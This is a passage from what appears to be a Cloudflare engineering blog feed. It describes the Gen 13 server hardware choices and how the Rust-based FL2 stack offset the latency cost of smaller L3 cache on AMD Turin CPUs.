environment.</p><table><tr><td><p>CPU Model</p></td><td><p>AMD Genoa-X 9684X</p></td><td><p>AMD Turin 9755</p></td><td><p>AMD Turin 9845</p></td><td><p>AMD Turin 9965</p></td></tr><tr><td><p>For server platform</p></td><td><p>Gen 12</p></td><td><p>Gen 13 candidate</p></td><td><p>Gen 13 candidate</p></td><td><p>Gen 13 candidate</p></td></tr><tr><td><p># of CPU Cores</p></td><td><p>96</p></td><td><p>128</p></td><td><p>160</p></td><td><p>192</p></td></tr><tr><td><p># of Threads</p></td><td><p>192</p></td><td><p>256</p></td><td><p>320</p></td><td><p>384</p></td></tr><tr><td><p>Base Clock</p></td><td><p>2.4 GHz</p></td><td><p>2.7 GHz</p></td><td><p>2.1 GHz</p></td><td><p>2.25 GHz</p></td></tr><tr><td><p>Max Boost Clock</p></td><td><p>3.7 GHz</p></td><td><p>4.1 GHz</p></td><td><p>3.7 GHz</p></td><td><p>3.7 GHz</p></td></tr><tr><td><p>All Core Boost Clock</p></td><td><p>3.42 GHz</p></td><td><p>4.1 GHz</p></td><td><p>3.25 GHz</p></td><td><p>3.35 GHz</p></td></tr><tr><td><p>Total L3 Cache</p></td><td><p>1152 MB</p></td><td><p>512 MB</p></td><td><p>320 MB</p></td><td><p>384 MB</p></td></tr><tr><td><p>L3 cache per core</p></td><td><p>12 MB / core</p></td><td><p>4 MB / core</p></td><td><p>2 MB / core</p></td><td><p>2 MB / core</p></td></tr><tr><td><p>Maximum configurable TDP</p></td><td><p>400W</p></td><td><p>500W</p></td><td><p>390W</p></td><td><p>500W</p></td></tr></table>
    <div>
      <h3>Why AMD Turin 9965?</h3>
      <a href="#why-amd-turin-9965">
        
      </a>
    </div>
    <p>First, <b>FL2 ended the L3 cache crunch</b>.</p><p>L3 cache is the large, last-level cache shared among all CPU cores on the same compute die to store frequently used data. It bridges the gap between slow main memory external to the CPU, and the fast but smaller L1 and L2 cache on the CPU, reducing the latency for the CPU to access data.</p><p>Some may notice that the 9965 has only 2 MB of L3 cache per core, an 83.3% reduction from the 12 MB per core on Gen 12’s Genoa-X 9684X. Why trade away the very cache advantage that gave Gen 12 its edge? The answer lies in how our workloads have evolved.</p><p>Cloudflare has <a href="https://blog.cloudflare.com/20-percent-internet-upgrade/"><u>migrated from FL1 to FL2</u></a>, a complete rewrite of our request handling layer in Rust. With the new software stack, Cloudflare’s request processing pipeline has become significantly less dependent on large L3 cache. FL2 workloads <a href="https://blog.cloudflare.com/gen13-launch/"><u>scale nearly linearly with core count</u></a>, and the 9965’s 192 cores provide a 2x increase in hardware threads over Gen 12.</p><p>Second, <b>performance per total cost of ownership (TCO)</b>. During production evaluation, the 9965’s 192 cores delivered the highest aggregate requests per second of the three candidates, and its performance-per-watt scaled favorably at 500W TDP, yielding superior rack-level TCO.</p><table><tr><td><p>
</p></td><td><p><b>Gen 12 </b></p></td><td><p><b>Gen 13 </b></p></td></tr><tr><td><p>Processor</p></td><td><p>AMD EPYC™ 4th Gen Genoa-X 9684X</p></td><td><p>AMD EPYC™ 5th Gen Turin 9965</p></td></tr><tr><td><p>Core count</p></td><td><p>96C/192T</p></td><td><p>192C/384T</p></td></tr><tr><td><p>FL throughput</p></td><td><p>Baseline</p></td><td><p>Up to +100%</p></td></tr><tr><td><p>Performance per watt</p></td><td><p>Baseline</p></td><td><p>Up to +50%</p></td></tr></table><p>Third, <b>operational simplicity</b>. Our operational teams have a strong preference for fewer, higher-density servers. Managing a fleet of 192-core machines means fewer nodes to provision, patch, and monitor per unit of compute delivered. This directly reduces operational overhead across our global network.</p><p>Finally,<b> </b>they are <b>forward compatible</b>. The AMD processor architecture supports DDR5-6400, PCIe Gen 5.0, CXL 2.0 Type 3 memory across all SKUs. AMD Turin 9965 has the highest number of high-performing cores per socket in the industry, maximizing the compute density per socket, maintaining competitiveness and relevance of the platform for years to come. By moving to AMD Turin 9965 from AMD Genoa-X 9684X, we get longer security support from AMD, extending the useful life of the Gen 13 server before they become obsolete and need to be refreshed.</p>
    <div>
      <h2>Memory</h2>
      <a href="#memory">
        
      </a>
    </div>
    <table><tr><td><p>Gen 12</p></td><td><p>12x 32GB DDR5-4800 2Rx8 (384 GB total, 4 GB/core)</p></td></tr><tr><td><p>Gen 13</p></td><td><p>12x 64GB DDR5-6400 2Rx4 (768 GB total, 4 GB/core)</p></td></tr></table><p>Because the AMD Turin processor has twice the core count of the previous generation, it demands more memory resources, both in capacity and in bandwidth, to deliver throughput gains.</p>
    <div>
      <h3>Maximizing bandwidth with 12 channels</h3>
      <a href="#maximizing-bandwidth-with-12-channels">
        
      </a>
    </div>
    <p>The chosen AMD EPYC™ 9965 CPU supports twelve memory channels, and for Gen 13, we are populating every single one of them. We’ve selected 64 GB DDR5-6400 ECC RDIMMs in a “one DIMM per channel” (1DPC) configuration.</p><p>This setup provides 614 GB/s of peak memory bandwidth per socket, a 33.3% increase compared to our Gen 12 server platform. By utilizing all 12 channels, we ensure that the CPU is never “starved” for data, even during the most memory-intensive parallel workloads.</p><p>Populating all twelve channels in a balanced configuration — equal capacity per channel, with no mixed configurations — is common best practice. This matters operationally: AMD Turin processors interleave across all memory channels with the same DIMM type, same memory capacity and same rank configuration. Interleaving increases memory bandwidth by spreading contiguous memory access across all memory channels in the interleave set instead of sending all memory access to a single or a small subset of memory channels. </p>
    <div>
      <h3>The 4 GB per core “sweet spot”</h3>
      <a href="#the-4-gb-per-core-sweet-spot">
        
      </a>
    </div>
    <p>Our Gen 12 servers are configured with 4GB per core. We revisited that decision as we designed Gen 13.</p><p>Cloudflare launches a lot of new products and services every month, and each new product or service demands an incremental amount of memory capacity. These accumulate over time and could become an issue of memory pressure, if memory capacity is not sized appropriately.</p><p>Initial requirement considered a memory-to-core ratio between 4 GB and 6 GB per core. With 192 cores on the AMD Turin 9965, that translates to a range of 768 GB to 1152 GB. Note that at higher capacities,  DIMM module capacity granularity are typically 16GB increments. With 12 channels in a 1DPC configuration, our options are 12x 48GB (576 GB), 12x 64GB (768 GB), or 12x 96GB (1152 GB).</p><ul><li><p>12x 48GB = 576 GB, or 1.5 GB/thread. The memory capacity of this configuration is too low; this would starve memory-hungry workloads and violate the lower bound.</p></li><li><p>12x 96GB = 1152 GB, or 3.0 GB/thread. This would be a 50% capacity increase per core and would also result in higher power consumption and a substantial increase in cost, especially in the current market conditions where memory prices are 10x of what they were a year ago.</p></li><li><p>12x 64GB = 768 GB, or 2.0 GB/thread (4 GB/core). This configuration is consistent with our Gen 12 memory to core ratio, and represents a 2x increase in memory capacity per server. Keeping the memory capacity configuration at 4 GB per core provides sufficient capacity for workloads that scale with core count, like our primary workload, FL, and provide sufficient memory capacity headroom for future growth without overprovisioning.</p></li></ul><p><a href="https://blog.cloudflare.com/20-percent-internet-upgrade/"><u>FL2 uses memory more efficiently</u></a> than FL1 did: our internal measures show FL2 uses less than half the CPU of FL1, and far less than half the memory. The capacity freed up by the software stack migration provides ample headroom to support Cloudflare growth for the next few years.</p><p>The decision: 12x 64GB for 768 GB total. This maintains the proven 4 GB/core ratio, provides a 2x total capacity increase over Gen 12, and stays within the DIMM cost curve sweet spot.</p>
    <div>
      <h3>Efficiency through dual rank</h3>
      <a href="#efficiency-through-dual-rank">
        
      </a>
    </div>
    <p>In Gen 12, we demonstrated that dual-rank DIMMs provide measurably higher memory throughput than single-rank modules, with advantages of up to 17.8% at a 1:1 read-write ratio. Dual-rank DIMMs are faster because they allow the memory controller to access one rank while another is refreshing. That same principle carries forward here.</p><p>Our requirement also calls for approximately 1 GB/s of memory bandwidth per hardware thread. With 614 GB/s of peak bandwidth across 384 threads, we deliver 1.6 GB/s per thread, comfortably exceeding the minimum. Production analysis has shown that Cloudflare workloads are not memory-bandwidth-bound, so we bank the headroom as margin for future workload growth.</p><p>By opting for 2Rx4 DDR5 RDIMMs at maximum supported 6400MT/s, we ensure we get the lowest latency and best performance from our Gen 13 platform memory configuration.</p>
    <div>
      <h2>Storage</h2>
      <a href="#storage">
        
      </a>
    </div>
    <table><tr><td><p>Gen 12</p></td><td><p>x2 E1.S NVMe PCIe 4.0, 16 TB total</p><p>Samsung PM9A3 7.68TB</p><p>Micron 7450 Pro 7.68TB</p></td></tr><tr><td><p>Gen 13</p></td><td><p>x3 E1.S NVMe PCIe 5.0, 24 TB total</p><p>Samsung PM9D3a 7.68TB</p><p>Micron 7600 Pro 7.68TB</p><p>+10x U.2 NVMe PCIe 5.0 option</p></td></tr></table><p>Our storage architecture underwent a transformation in Gen 12 when we pivoted from M.2 to EDSFF E1.S. For Gen 13, we are increasing the storage capacity and the bandwidth to align with the latest technology. We have also added a front drive bay for flexibility to add up to 10x U.2 drives to keep pace with Cloudflare storage product growth. </p>
    <div>
      <h3>The move to PCIe 5.0</h3>
      <a href="#the-move-to-pcie-5-0">
        
      </a>
    </div>
    <p>Gen 13 is configured with PCIe Gen 5.0 NVMe drives. While Gen 4.0 served us well, the move to Gen 5.0 ensures that our storage subsystem can serve data at improved latency, and keep up with increased storage bandwidth demand from the new processor. </p>
    <div>
      <h3>16 TB to 24 TB</h3>
      <a href="#16-tb-to-24-tb">
        
      </a>
    </div>
    <p>Beyond the speed increase, we are physically expanding the array from two to three NVMe drives. Our Gen 12 server platform was designed with four E1.S storage drive slots, but only two slots were populated with 8TB drives. The Gen 13 server platform uses the same design with four E1.S storage drive slots available, but with three slots populated with 8TB drives. Why add a third drive? This increases our storage capacity per server from 16TB to 24TB, ensuring we are expanding our global storage capacity to maintain and improve CDN cache performance. This supports growth projections for Durable Objects, Containers, and Quicksilver services, too.</p>
    <div>
      <h3>Front drive bay to support additional drives</h3>
      <a href="#front-drive-bay-to-support-additional-drives">
        
      </a>
    </div>
    <p>For Gen 13, the chassis is designed with a front drive bay that can support up to ten U.2 PCIe Gen 5.0 NVMe drives. The front drive bay provides the option for Cloudflare to use the same chassis across compute and storage platforms, as well as the flexibility to convert a compute SKU to a storage SKU when needed. </p>
    <div>
      <h3>Endurance and reliability</h3>
      <a href="#endurance-and-reliability">
        
      </a>
    </div>
    <p>We designed our servers to have a 5-year operational life and require storage drives endurance to sustain 1 DWPD (Drive Writes Per Day) over the full server lifespan.</p><p>Both the Samsung PM9D3a and Micron 7600 Pro meet the 1 DWPD specification with a hardware over-provisioning (OP) of approximately 7%. If future workload profiles demand higher endurance, we have the option to hold back additional user capacity to increase effective OP.</p>
    <div>
      <h3>NVMe 2.0 and OCP NVMe 2.0 compliance</h3>
      <a href="#nvme-2-0-and-ocp-nvme-2-0-compliance">
        
      </a>
    </div>
    <p>Both the Samsung PM9D3a and Micron 7600 adopt the NVMe 2.0 specification (up from NVMe 1.4) and the OCP NVMe Cloud SSD Specification 2.0. Key improvements include Zoned Namespaces (ZNS) for better write amplification management, Simple Copy Command for intra-device data movement without crossing the PCIe bus, and enhanced Command and Feature Lockdown for tighter security controls. The OCP 2.0 spec also adds deeper telemetry and debug capabilities purpose-built for datacenter operations, which aligns with our emphasis on fleet-wide manageability.</p>
    <div>
      <h3>Thermal efficiency</h3>
      <a href="#thermal-efficiency">
        
      </a>
    </div>
    <p>The storage drives will continue to be in the E1.S 15mm form factor. Its high-surface-area design is essential for cooling these new Gen 5.0 controllers, which can pull upwards of 25W under sustained heavy I/O. The 2U chassis provides ample airflow over the E1.S drives as well as U.2 drive bays, a design advantage we validated in Gen 12 when we made the decision to move from 1U to 2U.</p>
    <div>
      <h2>Network</h2>
      <a href="#network">
        
      </a>
    </div>
    <table><tr><td><p>Gen 12</p></td><td><p>Dual 25 GbE port OCP 3.0 NIC </p><p>Intel E810-XXVDA2</p><p>NVIDIA Mellanox ConnectX-6 Lx</p></td></tr><tr><td><p>Gen 13</p></td><td><p>Dual 100 GbE port OCP 3.0 NIC</p><p>Intel E830-CDA2</p><p>NVIDIA Mellanox ConnectX-6 Dx</p></td></tr></table><p>For more than eight years, dual 25 GbE was the backbone of our fleet. <a href="https://blog.cloudflare.com/a-tour-inside-cloudflares-g9-servers/"><u>Since 2018</u></a> it has served us well, but as the CPU has improved to serve more requests and our products scale, we’ve officially hit the wall. For Gen 13, we are quadrupling our per-port bandwidth.</p>
    <div>
      <h3>Why 100 GbE and why now?</h3>
      <a href="#why-100-gbe-and-why-now">
        
      </a>
    </div>
    <p>Network Interface Card (NIC) bandwidth must keep pace with compute performance growth. With 192 modern cores, our 25 GbE links will become a measurable bottleneck. Production data from our co-locations worldwide over a week showed that, on our Gen 12, P95 bandwidth per port is consistently &gt;50% of available bandwidth. Since throughput is doubling per server on Gen 13, we are at risk of saturating the NIC bandwidth.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2lxP5Vy6y6CzCk1rE9FKVU/064d9e5392a08e92b38bca637d053573/image4.png" />
          </figure><p><sup><i>Figure: on Gen 12, P95 bandwidth per port is consistently &gt;50% of available bandwidth</i></sup></p><p>The decision to go to 100 GbE rather than 50 GbE was driven by industry economics: 50 GbE transceiver volumes remain low in the industry, making them a poor supply chain bet. Dual 100 GbE ports also give us 200 Gb/s of aggregate bandwidth per server, future-proofing against the next several years of traffic growth.</p>
    <div>
      <h3>Hardware choices and compatibility</h3>
      <a href="#hardware-choices-and-compatibility">
        
      </a>
    </div>
    <p>We are maintaining our dual-vendor strategy to ensure supply chain resilience, a lesson hard-learned during the pandemic when single-sourcing the Gen 11 NIC left us scrambling.</p><p>Both NICs are compliant with <a href="https://www.servethehome.com/ocp-nic-3-0-form-factors-quick-guide-intel-broadcom-nvidia-meta-inspur-dell-emc-hpe-lenovo-gigabyte-supermicro/"><u>OCP 3.0 SFF/TSFF</u></a> form factor with the integrated pull tab, maintaining chassis commonality with Gen 12 and ensuring field technicians need no new tools or training for swaps.</p>
    <div>
      <h3>PCIe Allocation</h3>
      <a href="#pcie-allocation">
        
      </a>
    </div>
    <p>The OCP 3.0 NIC slot is allocated PCIe 4.0 x16 lanes on the motherboard, providing 256 Gb/s of bidirectional bandwidth, more than enough for dual 100 GbE (200 Gb/s aggregate) with room to spare.</p>
    <div>
      <h2>Management</h2>
      <a href="#management">
        
      </a>
    </div>
    <table><tr><td><p>Gen 12</p></td><td><p><a href="https://blog.cloudflare.com/introducing-the-project-argus-datacenter-ready-secure-control-module-design-specification/"><u>Project Argus</u></a> Data Center Secure Control Module 2.0</p></td></tr><tr><td><p>Gen 13</p></td><td><p><a href="https://blog.cloudflare.com/introducing-the-project-argus-datacenter-ready-secure-control-module-design-specification/"><u>Project Argus</u></a> Data Center Secure Control Module 2.0</p><p>PCIe encryption</p></td></tr></table><p>We are maintaining the architectural shift, introduced in Gen 12, of separating management and security-related components from the motherboard onto the <a href="https://blog.cloudflare.com/introducing-the-project-argus-datacenter-ready-secure-control-module-design-specification/"><u>Project Argus</u></a> Data Center Secure Control Module 2.0.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6F3XH0uQvBry9LJkZlVZOi/42f507d0d46d276db1e3724b21ea49dc/image1.png" />
          </figure><p><sup><i>Figure: Project Argus DC-SCM 2.0</i></sup></p>
    <div>
      <h3>Continuity with DC-SCM 2.0</h3>
      <a href="#continuity-with-dc-scm-2-0">
        
      </a>
    </div>
    <p>We are carrying forward the Data Center Secure Control Module 2.0 (DC-SCM 2.0) standard. By decoupling management and security functions from the motherboard, we ensure that the “brains” of the server’s security stay modular and protected.</p><p>The DC-SCM module houses our most critical components:</p><ul><li><p>Basic Input/Output System (BIOS)</p></li><li><p>Baseboard Management Controller (BMC)</p></li><li><p>Hardware Root of Trust (HRoT) and TPM (Infineon SLB 9672)</p></li><li><p>Dual BMC/BIOS flash chips for redundancy</p></li></ul>
    <div>
      <h3>Why we are staying the course with DC-SCM 2.0</h3>
      <a href="#why-we-are-staying-the-course-with-dc-scm-2-0">
        
      </a>
    </div>
    <p>The decision to keep this architecture for Gen 13 is driven by the proven security gains we saw in the previous generation. By offloading these functions to a dedicated module, we maintain:</p><ul><li><p><b>Rapid recovery</b>: Dual image redundancy allows for near-instant restoration of BIOS/UEFI and BMC firmware if an accidental corruption or a malicious update is detected.</p></li><li><p><b>Physical resilience</b>: The Gen 13 chassis also moves the intrusion detection mechanism further from the flat edge of the chassis, making physical intercept harder.</p></li><li><p><b>PCIe encryption</b>: In addition to TSME (Transparent Secure Memory Encryption) for CPU-to-memory encryption that was already enabled since our Gen 10 platforms, AMD Turin 9965 processor for Gen 13 extends encryption to PCIe traffic, this ensures data is protected in transit across every bus in the system.</p></li><li><p><b>Operational consistency</b>: Sticking with the Gen 12 management stack means our security audits, deployment, provisioning, and operational standard procedure remain fully compatible. </p></li></ul>
    <div>
      <h2>Power</h2>
      <a href="#power">
        
      </a>
    </div>
    <table><tr><td><p>Gen 12</p></td><td><p>800W 80 PLUS Titanium CRPS</p></td></tr><tr><td><p>Gen 13</p></td><td><p>1300W 80 PLUS Titanium CRPS</p></td></tr></table><p>As we upgrade the compute and networking capability of the server, the power envelope of our servers has naturally expanded. Gen 13 are equipped with bigger power supplies to deliver the power needed.</p>
    <div>
      <h3>The jump to 1300W</h3>
      <a href="#the-jump-to-1300w">
        
      </a>
    </div>
    <p>While our Gen 12 nodes operated comfortably with 800W 80 PLUS Titanium CRPS (Common Redundant Power Supply), the Gen 13 specification requires a larger power supply. We have selected a 1300W 80 PLUS Titanium CRPS.</p><p>Power consumption of Gen 13 during typical operation has risen to 850W, a 250W increase over the 600W seen in Gen 12. The primary contributors are the 500W TDP CPU (up from 400W), doubling of the memory capacity and the additional NVMe drive.</p><p>Why 1300W instead of 1000W? The current PSU ecosystem lacks viable, high-efficiency options at 1000W. To ensure supply chain reliability, we moved to the next industry-standard tier of 1300W. </p><p><a href="https://eur-lex.europa.eu/eli/reg/2019/424/oj/eng"><u>EU Lot 9</u></a> is a regulation that requires servers deploying in the European Union to have power supplies with efficiency at 10%, 20%, 50% and 100% load to be at or above the percentage threshold specified in the regulation. The threshold matches <a href="https://www.clearesult.com/80plus/80plus-psu-ratings-explained"><u>80 PLUS Power Supply certification program</u></a> titanium grade PSU requirement. We chose a titanium grade PSU for Gen 13 to maintain full compliance with EU Lot 9, ensuring that the servers can be deployed in our European data centers and beyond. </p>
    <div>
      <h3>Thermal design: 2U pays dividends again</h3>
      <a href="#thermal-design-2u-pays-dividends-again">
        
      </a>
    </div>
    <p>The 2U1N form factor we adopted in Gen 12 continues to pay dividends. Gen 13 uses 5x 80mm fans (up from 4x in Gen 12) to handle the increased thermal load from the 500W CPU. The larger fan volume, combined with the 2U chassis airflow characteristics, means fans operate well below maximum duty cycle at typical ambient temperatures, keeping fan power in the &lt; 50W range per fan.</p>
    <div>
      <h2>Drop-in accelerator support</h2>
      <a href="#drop-in-accelerator-support">
        
      </a>
    </div>
    <table><tr><td><p>Gen 12</p></td><td><p>x2 single width FHFL or x1 double width FHFL</p></td></tr><tr><td><p>Gen 13</p></td><td><p>x2 double width FHFL</p></td></tr></table><p>Maintaining the modularity of our fleet is a core requirement for our server design. This requirement enabled Cloudflare to quickly retrofit and <a href="https://blog.cloudflare.com/workers-ai?_gl=1*1gag2w6*_gcl_au*MzM4MjEyMTE0LjE3Njg5NDQ2NjA.*_ga*YzE1ZWNmMTgtNWNmOC00ZDJhLTkyYjUtMzQ0NjNiZjE1OWY1*_ga_SQCRB0TXZW*czE3NzMzNTQzNjQkbzE1JGcxJHQxNzczMzU0NTQ4JGoxOCRsMCRoMCRkQmROOWVoOFpxajBtSWtMTGRCa1VUVDJaY2RoaXBxTmY4QQ../#a-road-to-global-gpu-coverage"><u>deploy GPUs globally to more than 100 cities in 2024</u></a>. In Gen 13, we are continuing the support of high-performance PCIe add-in cards.</p><p>On Gen 13, the 2U chassis layout is updated and configured to support more demanding power and thermal requirements. While Gen 12 was limited to a single double-width GPU, the Gen 13 architecture now supports two double-width PCIe cards.</p>
    <div>
      <h2>A launchpad to scale Cloudflare to greater heights</h2>
      <a href="#a-launchpad-to-scale-cloudflare-to-greater-heights">
        
      </a>
    </div>
    <p>Every generation of Cloudflare servers is an exercise in balancing competing constraints: performance versus power, capacity versus cost, flexibility versus simplicity. Gen 13 comes with 2x core count, 2x memory capacity, 4x network bandwidth, 1.5x storage capacity, and future-proofing for accelerator deployments — all while improving total cost of ownership and maintaining a robust management feature set and security posture that our global fleet demands.</p><p>Gen 13 servers are fully qualified and will be deployed to serve millions of requests across Cloudflare’s global network in more than 330 cities. As always, Cloudflare’s journey to serve the Internet as efficiently as possible does not end here. As the deployment of Gen 13 begins, we are planning the architecture for Gen 14.</p><p>If you are excited about helping build a better Internet, come join us. <a href="https://www.cloudflare.com/careers/jobs/"><u>We are hiring</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[Hardware]]></category>
            <category><![CDATA[Infrastructure]]></category>
            <category><![CDATA[Engineering]]></category>
            <category><![CDATA[AMD]]></category>
            <guid isPermaLink="false">7KkjVfneO6PwoHTEAiSYVM</guid>
            <dc:creator>Syona Sarma</dc:creator>
            <dc:creator>JQ Lau</dc:creator>
            <dc:creator>Ma Xiong</dc:creator>
            <dc:creator>Victor Hwang</dc:creator>
        </item>
        <item>
            <title><![CDATA[Launching Cloudflare’s Gen 13 servers: trading cache for cores for 2x edge compute performance]]></title>
            <link>https://blog.cloudflare.com/gen13-launch/</link>
            <pubDate>Mon, 23 Mar 2026 13:00:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare’s Gen 13 servers double our compute throughput by rethinking the balance between cache and cores. Moving to high-core-count AMD EPYC ™ Turin CPUs, we traded large L3 cache for raw compute density. By running our new Rust-based FL2 stack, we completely mitigated the latency penalty to unlock twice the performance. ]]></description>
            <content:encoded><![CDATA[ <p>Two years ago, Cloudflare deployed our <a href="https://blog.cloudflare.com/cloudflare-gen-12-server-bigger-better-cooler-in-a-2u1n-form-factor/"><u>12th Generation server fleet</u></a>, based on AMD EPYC™ Genoa-X processors with their massive 3D V-Cache. That cache-heavy architecture was a perfect match for our request handling layer, FL1 at the time. But as we evaluated next-generation hardware, we faced a dilemma — the CPUs offering the biggest throughput gains came with a significant cache reduction. Our legacy software stack wasn't optimized for this, and the potential throughput benefits were being capped by increasing latency.</p><p>This blog describes how the <a href="https://blog.cloudflare.com/20-percent-internet-upgrade/"><u>FL2 transition</u></a>, our Rust-based rewrite of Cloudflare's core request handling layer, allowed us to prove Gen 13's full potential and unlock performance gains that would have been impossible on our previous stack. FL2 removes the dependency on the larger cache, allowing for performance to scale with cores while maintaining our SLAs. Today, we are proud to announce the launch of Cloudflare's Gen 13 based on AMD EPYC™ 5th Gen Turin-based servers running FL2, effectively capturing and scaling performance at the edge. </p>
    <div>
      <h2>What AMD EPYCTurin brings to the table</h2>
      <a href="#what-amd-epycturin-brings-to-the-table">
        
      </a>
    </div>
    <p><a href="https://www.amd.com/en/products/processors/server/epyc/9005-series.html"><u>AMD's EPYC™ 5th Generation Turin-based processors</u></a> deliver more than just a core count increase. The architecture delivers improvements across multiple dimensions of what Cloudflare servers require.</p><ul><li><p><b>2x core count:</b> up to 192 cores versus Gen 12's 96 cores, with SMT providing 384 threads</p></li><li><p><b>Improved IPC:</b> Zen 5's architectural improvements deliver better instructions-per-cycle compared to Zen 4</p></li><li><p><b>Better power efficiency</b>: Despite the higher core count, Turin consumes up to 32% fewer watts per core compared to Genoa-X</p></li><li><p><b>DDR5-6400 support</b>: Higher memory bandwidth to feed all those cores</p></li></ul><p>However, Turin's high density OPNs make a deliberate tradeoff: prioritizing throughput over per core cache. Our analysis across the Turin stack highlighted this shift. For example, comparing the highest density Turin OPN to our Gen 12 Genoa-X processors reveals that Turin's 192 cores share 384MB of L3 cache. This leaves each core with access to just 2MB, one-sixth of Gen 12's allocation. For any workload that relies heavily on cache locality, which ours did, this reduction posed a serious challenge.</p><table><tr><td><p>Generation</p></td><td><p>Processor</p></td><td><p>Cores/Threads</p></td><td><p>L3 Cache/Core</p></td></tr><tr><td><p>Gen 12</p></td><td><p>AMD Genoa-X 9684X</p></td><td><p>96C/192T</p></td><td><p>12MB (3D V-Cache)</p></td></tr><tr><td><p>Gen 13 Option 1</p></td><td><p>AMD Turin 9755</p></td><td><p>128C/256T</p></td><td><p>4MB</p></td></tr><tr><td><p>Gen 13 Option 2</p></td><td><p>AMD Turin 9845</p></td><td><p>160C/320T</p></td><td><p>2MB</p></td></tr><tr><td><p>Gen 13 Option 3</p></td><td><p>AMD Turin 9965</p></td><td><p>192C/384T</p></td><td><p>2MB</p></td></tr></table>
    <div>
      <h2>Diagnosing the problem with performance counters</h2>
      <a href="#diagnosing-the-problem-with-performance-counters">
        
      </a>
    </div>
    <p>For our FL1 request handling layer, NGINX- and LuaJIT-based code, this cache reduction presented a significant challenge. But we didn't just assume it would be a problem; we measured it.</p><p>During the CPU evaluation phase for Gen 13, we collected CPU performance counters and profiling data to identify exactly what was happening under the hood using <a href="https://docs.amd.com/r/en-US/68658-uProf-getting-started-guide/Identifying-Issues-Using-uProfPcm"><u>AMD uProf tool</u></a>. The data showed:</p><ul><li><p>L3 cache miss rates increased dramatically compared to Gen 12's server equipped with 3D V-cache processors</p></li><li><p>Memory fetch latency dominated request processing time as data that previously stayed in L3 now required trips to DRAM</p></li><li><p>The latency penalty scaled with utilization as we pushed CPU usage higher, and cache contention worsened</p></li></ul><p>L3 cache hits complete in roughly 50 cycles; L3 cache misses requiring DRAM access take 350+ cycles, an order of magnitude difference. With 6x less cache per core, FL1 on Gen 13 was hitting memory far more often, incurring latency penalties.</p>
    <div>
      <h2>The tradeoff: latency vs. throughput </h2>
      <a href="#the-tradeoff-latency-vs-throughput">
        
      </a>
    </div>
    <p>Our initial tests running FL1 on Gen 13 confirmed what the performance counters had already suggested. While the Turin processor could achieve higher throughput, it came at a steep latency cost.</p><table><tr><td><p>Metric</p></td><td><p>Gen 12 (FL1)</p></td><td><p>Gen 13 - AMD Turin 9755 (FL1)</p></td><td><p>Gen 13 - AMD Turin 9845 (FL1)</p></td><td><p>Gen 13 - AMD Turin 9965 (FL1)</p></td><td><p>Delta</p></td></tr><tr><td><p>Core count</p></td><td><p>baseline</p></td><td><p>+33%</p></td><td><p>+67%</p></td><td><p>+100%</p></td><td><p></p></td></tr><tr><td><p>FL throughput</p></td><td><p>baseline</p></td><td><p>+10%</p></td><td><p>+31%</p></td><td><p>+62%</p></td><td><p>Improvement</p></td></tr><tr><td><p>Latency at low to moderate CPU utilization</p></td><td><p>baseline</p></td><td><p>+10%</p></td><td><p>+30%</p></td><td><p>+30%</p></td><td><p>Regression</p></td></tr><tr><td><p>Latency at high CPU utilization</p></td><td><p>baseline</p></td><td><p>&gt; 20% </p></td><td><p>&gt; 50% </p></td><td><p>&gt; 50% </p></td><td><p>Unacceptable</p></td></tr></table><p>The Gen 13 evaluation server with AMD Turin 9965 that generated 60% throughput gain was compelling, and the performance uplift provided the most improvement to Cloudflare’s total cost of ownership (TCO). </p><p>But a more than 50% latency penalty is not acceptable. The increase in request processing latency would directly impact customer experience. We faced a familiar infrastructure question: do we accept a solution with no TCO benefit, accept the increased latency tradeoff, or find a way to boost efficiency without adding latency?</p>
    <div>
      <h2>Incremental gains with performance tuning</h2>
      <a href="#incremental-gains-with-performance-tuning">
        
      </a>
    </div>
    <p>To find a path to an optimal outcome, we collaborated with AMD to analyze the Turin 9965 data and run targeted optimization experiments. We systematically tested multiple configurations:</p><ul><li><p><b>Hardware Tuning:</b> Adjusting hardware prefetchers and Data Fabric (DF) Probe Filters, which showed only marginal gains</p></li><li><p><b>Scaling Workers</b>: Launching more FL1 workers, which improved throughput but cannibalized resources from other production services</p></li><li><p><b>CPU Pinning &amp; Isolation:</b> Adjusting workload isolation configurations to find optimal mix, with limited success </p></li></ul><p>The configuration that ultimately provided the most value was <b>AMD’s Platform Quality of Service (PQOS). PQOS </b>extensions enable fine-grained regulation of shared resources like cache and memory bandwidth. Since Turin processors consist of one I/O Die and up to 12 Core Complex Dies (CCDs), each sharing an L3 cache across up to 16 cores, we put this to the test. Here is how the different experimental configurations performed. </p><p>First, we used PQOS to allocate a dedicated L3 cache share within a single CCD for FL1, the gains were minimal. However, when we scaled the concept to the socket level, dedicating an <i>entire</i> CCD strictly to FL1, we saw meaningful throughput gains while keeping latency acceptable.</p><div>
<figure>
<table><colgroup><col></col><col></col><col></col><col></col></colgroup>
<tbody>
<tr>
<td>
<p><span><span>Configuration</span></span></p>
</td>
<td>
<p><span><span>Description</span></span></p>
</td>
<td>
<p><span><span>Illustration</span></span></p>
</td>
<td>
<p><span><span>Performance gain</span></span></p>
</td>
</tr>
<tr>
<td>
<p><span><span>NUMA-aware core affinity </span></span><br /><span><span>(equivalent to PQOS at socket level)</span></span></p>
</td>
<td>
<p><span><span>6 out of 12 CCD (aligned with NUMA domain) run FL.</span></span></p>
<p> </p>
<p><span><span>32MB L3 cache in each CCD shared among all cores. </span></span></p>
</td>
<td>
<p><span><span><img src="https://images.ctfassets.net/zkvhlag99gkb/4CBSHY02oIZOiENgFrzLSz/0c6c2ac8ef0096894ff4827e30d25851/image3.png" /></span></span></p>
</td>
<td>
<p><span><span>&gt;15% incremental </span></span></p>
<p><span><span>throughput gain</span></span></p>
</td>
</tr>
<tr>
<td>
<p><span><span>PQOS config 1</span></span></p>
</td>
<td>
<p><span><span>1 of 2 vCPU on each physical core in each CCD runs FL. </span></span></p>
<p> </p>
<p><span><span>FL gets 75% of the 32MB L3 cache of each CCD.</span></span></p>
</td>
<td>
<p><span><span><img src="https://images.ctfassets.net/zkvhlag99gkb/3iJo1BBRueQRy92R3aXbGx/596c3231fa0e66f20de70ea02615f9a7/image2.png" /></span></span></p>
</td>
<td>
<p><span><span>&lt; 5% incremental throughput gain</span></span></p>
<p> </p>
<p><span><span>Other services show minor signs of degradation</span></span></p>
</td>
</tr>
<tr>
<td>
